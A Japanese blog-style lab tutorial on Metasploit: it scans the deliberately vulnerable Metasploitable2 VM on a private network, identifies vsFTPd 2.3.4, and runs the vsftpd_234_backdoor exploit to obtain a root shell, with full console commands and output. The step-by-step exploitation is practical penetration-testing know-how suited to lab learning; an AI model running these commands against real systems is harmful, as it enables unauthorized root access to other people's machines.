Metasploitの使い方
検証環境にMetasploitableを使用して使い方を覚えていきたい思います。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
まずは簡単なことを焦らずにひとつひとつやっていきます。
調査
攻撃の前には対象のマシンを調査をする必要があります。
Metasploitにはサーバー調査に使えるツールが組み込まれています。
ここは素直にポートスキャンでもやってみましょうか。
Metasploitではuseを使用してモジュールを選択します。
ポートスキャナーを選択するため、以下のようにコマンド実行します。
msf5 > use auxiliary/scanner/portscan/syn
今回はsynスキャンを実行するスキャナーを選択しました。
これでモジュールを選択したことになりました。
実行する前に設定しなければいけない値があります。
設定可能な値はshowコマンドで確認できます。
msf5 auxiliary(scanner/portscan/syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
とりあえずRHOSTSを指定すれば問題なさそうですね。
設定はsetコマンドで行います。
Metasploitableのアドレスを指定します。
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.11.38
RHOSTS => 192.168.11.38
モジュールの実行にはexploitコマンドを使用します。
msf5 auxiliary(scanner/portscan/syn) > exploit
[+] TCP OPEN 192.168.11.38:21
[+] TCP OPEN 192.168.11.38:22
[+] TCP OPEN 192.168.11.38:23
[+] TCP OPEN 192.168.11.38:25
[+] TCP OPEN 192.168.11.38:53
[+] TCP OPEN 192.168.11.38:80
[+] TCP OPEN 192.168.11.38:111
[+] TCP OPEN 192.168.11.38:139
[+] TCP OPEN 192.168.11.38:445
[+] TCP OPEN 192.168.11.38:512
[+] TCP OPEN 192.168.11.38:513
[+] TCP OPEN 192.168.11.38:514
[+] TCP OPEN 192.168.11.38:1099
...
開いているポートを教えてくれました。
今回はftpサーバに対してエクスプロイトしてみます。
そのためにftpサーバーの調査が必要です。
ひとまずftpサーバーのバージョンを取得するスキャナーを使ってみます。
msf5 > use auxiliary/scanner/ftp/ftp_version
今回もモジュールを実行する前に設定しなければいけない値があります。
設定必須な値は宛先アドレスであるRHOSTSです。
msf5 > use auxiliary/scanner/ftp/ftp_version
msf5 auxiliary(scanner/ftp/ftp_version) > show options
Module options (auxiliary/scanner/ftp/ftp_version):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
宛先にはMetasploitableサーバーのアドレスを指定しています。
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.11.38
RHOSTS => 192.168.11.38
実行してみましょう。
結果を見るとvsftpdが動作していることがわかりました。
msf5 auxiliary(scanner/ftp/ftp_version) > exploit
[+] 192.168.11.38:21 - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] 192.168.11.38:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
エクスプロイト実行
スキャンの結果vsftpdが動いていることがわかったので、これに有効なエクスプロイトを実行します。
searchコマンドで対象に有効なモジュールを検索できます。
msf5 auxiliary(scanner/ftp/ftp_version) > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
見つかったのでそのモジュールを使ってみます。
このモジュールも宛先を指定して使用するようです。
msf5 auxiliary(scanner/ftp/ftp_version) > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
攻撃に成功するとmetasploitableとシェルセッションが確立します。
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.11.38:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.11.38:21 - USER: 331 Please specify the password.
[+] 192.168.11.38:21 - Backdoor service has been spawned, handling...
[+] 192.168.11.38:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.11.6:45857 -> 192.168.11.38:6200) at 2019-09-14 21:20:11 +0900
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:9c:5f:e8
inet addr:192.168.11.38 Bcast:192.168.11.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9c:5fe8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4895 errors:0 dropped:0 overruns:0 frame:0
TX packets:1565 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:306736 (299.5 KB) TX bytes:101481 (99.1 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:430 errors:0 dropped:0 overruns:0 frame:0
TX packets:430 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:184569 (180.2 KB) TX bytes:184569 (180.2 KB)
セキュリティーにおける調査から攻撃までの段取りはなんとか実行できたかと思います。
今回使用した機能はMetaploitのほんの一部分でしかないと思いますので、
これからもこのツールに関し記事を書くなりして理解を深めていきたいです。
ツールの使い方をあまり覚えられない私ですが、Metasploitは楽しくてハマりました。